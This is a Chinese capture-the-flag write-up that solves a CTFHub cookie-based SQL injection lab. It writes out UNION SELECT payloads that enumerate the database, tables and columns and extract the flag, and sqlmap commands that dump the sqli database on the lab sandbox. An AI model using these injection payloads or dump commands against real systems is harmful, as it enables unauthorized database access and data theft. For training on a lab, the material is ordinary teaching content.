CTFHUB技能树之SQL——Cookie注入

开启靶场,打开链接:

发现没有注入点,猜测是Cookie注入


用burp抓包发送到repeater中:

先直接发送看看情况:

应该是整数型注入?毕竟默认就是id=1


判断一下字段数:

1 order by 2#

正常回显

1 order by 3#

回显错误,说明字段数是2


查看数据库位置:

1 union select 1,2#

看样子可能不在数据库中,老样子,改成-1 union select 1,2#


(1)爆数据库名

-1 union select 1,database()#

得到数据库名是sqli


(2)爆表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

得到cxmdnrbzzo表和news表


(3)爆列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='cxmdnrbzzo'#

得到urweetotud列


(4)爆字段内容(flag)

-1 union select 1,group_concat(urweetotud) from sqli.cxmdnrbzzo#

得到flag:

ctfhub{c177bd6f0e338d70e4f1e63c}


用sqlmap试试:

python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800/" --cookie "id=1" --level 2 --dbs

(注意:不设置level的话没法爆破出数据库信息)

爆出sqli数据库了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli --level 2 --tables

爆出cxmdnrbzzo表了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli -T cxmdnrbzzo --level 2 --columns

(其实这一步不用爆也行,直接爆字段内容,下一步就是不写列名直接爆字段内容)

爆出urweetotud列了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli -T cxmdnrbzzo --level 2 --dump

成功爆出flag

相关推荐
大得36917 小时前
LangGraph使用
数据库
Mahir0817 小时前
Redis 核心机制:数据过期策略与淘汰策略深度解析
数据库·redis·后端·缓存·面试
多敲代码防脱发17 小时前
Spring进阶(BeanFactory与ApplicationContext)
java·数据库·spring boot·后端·spring
m0_7020365317 小时前
html标签如何提升可访问性_aria-label与title区别【指南】
jvm·数据库·python
夏天测17 小时前
2026 年 5 月中旬网络安全深度预警:高危漏洞集中爆发、零日攻击常态化,企业面临多重安全挑战
安全·web安全
会编程的土豆17 小时前
Gin 核心概念速记
数据库·后端·gin·goland
ㄟ留恋さ寂寞17 小时前
Golang格式化输出占位符都有什么_Golang fmt占位符教程【通俗】
jvm·数据库·python
QCzblack17 小时前
文件上传upload
web安全
Donk_6718 小时前
iSCSI 服务器
运维·服务器·数据库
打码人的日常分享18 小时前
大模型及智能体安全风险防范与治理策略(PPT)
运维·网络·数据库·安全·云计算·制造